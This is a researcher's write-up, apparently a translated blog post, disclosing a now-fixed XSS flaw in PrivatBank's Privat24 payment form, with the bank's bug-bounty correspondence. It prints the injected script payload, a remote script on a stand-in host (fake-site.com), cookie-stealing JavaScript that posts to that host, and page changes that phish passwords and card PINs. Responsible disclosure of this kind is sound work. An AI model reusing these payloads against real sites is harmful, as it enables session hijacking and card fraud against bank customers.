How does the program "Search for IT vulnerabilities" PrivatBank

The largest bank of Ukraine Privatbank announced that “PrivatBank will pay 10,000 UAH. for the found vulnerabilities in Privat24 ” . And information on the bank site .

Having learned about this, I remembered the XSS vulnerability, which I discovered and wrote about it in a private chat to the operator Privat24 half a year ago. Googling about this wonderful news saw an article on Habré “PrivatBank accused the Ukrainian programmer of hacking into its Android application” .

Interesting and scary at the same time. Look for us vulnerabilities and we will blame you for hacking!
')
Having decided that I did not violate any rules of Privatbank, I went to check the old vulnerability, and (for some reason I did not doubt) nobody corrected it.

On the official website of the bank there is an example of the code of the form for Internet acquiring.

<form action="https://api.privatbank.ua/p24api/ishop" method="POST"> <input type="text" name="amt" value=""/> <input type="text" name="ccy" value=" (UAH / USD / EUR)" /> <input type="hidden" name="merchant" value="ID " /> <input type="hidden" name="order" value="  " /> <input type="hidden" name="details" value=" " /> <input type="hidden" name="ext_details" value="  ( ,  ..) /  /" /> <input type="hidden" name="pay_way" value="privat24" /> <input type="hidden" name="return_url" value=",    " /> <input type="hidden" name="server_url" value=",   API   " /> <input type="submit" value="" /> </form> 

Substituting in the details field:

 <input type="hidden" name="details" value="test<script>alert('xss');</script>" /> 

And having sent the form, the user goes to the PrivatBank payment page on which XSS is executed:

The original page looks like this:



It runs our alert ():

in firefox:



in chrome:



in IE10:



Go ahead and load javascript from a remote host:

 <input type="hidden" name="details" value="test<script src='http://fake-site.com/p.js'></script>"/> 

And we get the error:



The page at 'https: //api.privatbank.ua/p24api/ishop? Pid = .....' was loaded over HTTPS, but ranged insecure content from 'http://fake-site.com/p.js ': this content should also be loaded over HTTPS.

We fix and try again:

 <input type="hidden" name="details" value="test<script src='https://fake-site.com/p.js'></script>"/> 

Works! (The main thing is that the certificate must be valid and not self-signed).

The deleted js file is executed:



Then the first thing that comes to mind is to send users' cookies to fake-site.com.

To do this, add to our p.js:

 function getCookies() { var cookies = {}; // The object we will return var all = document.cookie; // Get all cookies in one big string if (all === "") // If the property is the empty string return cookies; // return an empty object var list = all.split("; "); // Split into individual name=value pairs for(var i = 0; i < list.length; i++) { // For each cookie var cookie = list[i]; var p = cookie.indexOf("="); // Find the first = sign var name = cookie.substring(0,p); // Get cookie name var value = cookie.substring(p+1); // Get cookie value value = decodeURIComponent(value); // Decode the value cookies[name] = value; // Store name and value in object } return cookies; } $.post("https://fake-site.com/p.php", getCookies()); 

We use jQuery only because it is available on the bank page.

We get cookies, send them to the fake site and see the error:



XMLHttpRequest cannot load 'http://fake-site.com/p.php'. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'https: //api.privatbank.ua ......' is therefore not allowed access.

Fix in p.php:

 header("Access-Control-Allow-Origin: *"); 

And the requests went.

We don’t stop there and try to change the page so that the user re-entered his phone number, password from the bank’s client.

Modify p.js like this:

 var html = ”...   css  html..”; $(function() { a(); }); function a(){ $(".pr_block").find(".pr_password").addClass("fake").removeClass("pr_password").html(html); $(".bt_cancel").hide(); $(".bt_login").hide(); } 

Hide the payment code entry field and show the authorization form:



You can also show the access recovery form (if the user enters the password 3 times incorrectly, he sees this form):



By displaying this form on a bank page, an attacker can get his password, phone number, and postal address from a user. Further, when recovering the password, the bank sends the password to the mobile phone and only AFTER it is entered, the user sees the form for entering the card’s PIN code, but since this form is fake, no one will send the passwords and the user will immediately see the form for entering the PIN code:



As a result, we have the last 4 digits of the user's card and the pin code for it.

From the form of payment we have a list of all user cards:



Accordingly, the attacker knows the full card number and pin code from this card as well as the user's full name, his phone number, password from Privat24, numbers and balances of all his cards instituted in Privat24.

It remains to run any website with payment through Privat24, sell any product with huge discounts and collect user data.

But since we are honest citizens, this vulnerability was once again reported to the “Search for IT-vulnerabilities” department and such answers were received (Before receiving each letter from PrivatBank, I send them inquiries):

1) February 13, 2014
Good day!
Your signal in the form of payment Privat24 taken to work.
Thanks for the signal! We will inform you about the results by a separate message!

2) February 20, 2014
Good day!
The vulnerability is not yet closed, developers are working to eliminate it.
Please wait for a while and not publish information about this vulnerability. We will inform you about its elimination. We consider the signals within 7 days, but, unfortunately, the removal of vulnerabilities takes more time (given the fact that there are a lot of signals).
Thank you for understanding!

3) March 12, 2014
Good day!
The vulnerability that you indicated has already worked. Changes made and tested on the test server Privat24. Expected to post a revised version of the combat server.
We inform that for this signal you will be paid a monetary reward (estimated amount - 1500 UAH). Please inform the number of your “Universal” card for which the payment will be made. Payment will be made in early April. Before making the payment please do not disclose information about this vulnerability. Thank!

4) April 18, 2014
Good day!
At the moment, all payments by the bank in Crimea are suspended due to the uncertainty of the political situation regarding the banking sector in this region.
Thank you for understanding!

Further actions were not conducted, all studies were conducted on your account as required by the “Terms and Conditions” of the bank:



Today checked - vulnerability fixed!

PS The final answer from PrivatBank.

Good day!
As it was agreed, as a reward for you for the revealed vulnerability in Privat24, a charitable payment in the amount of 1500 UAH was made on your behalf by PrivatBank: ubb.org.ua/ru/project/929/#tabs-1

We are waiting for new effective signals about the vulnerabilities of our resources.
Thank you for your cooperation!

It is very pleasant that in the current difficult situation in the country, PrivatBank has fulfilled its obligations under the program.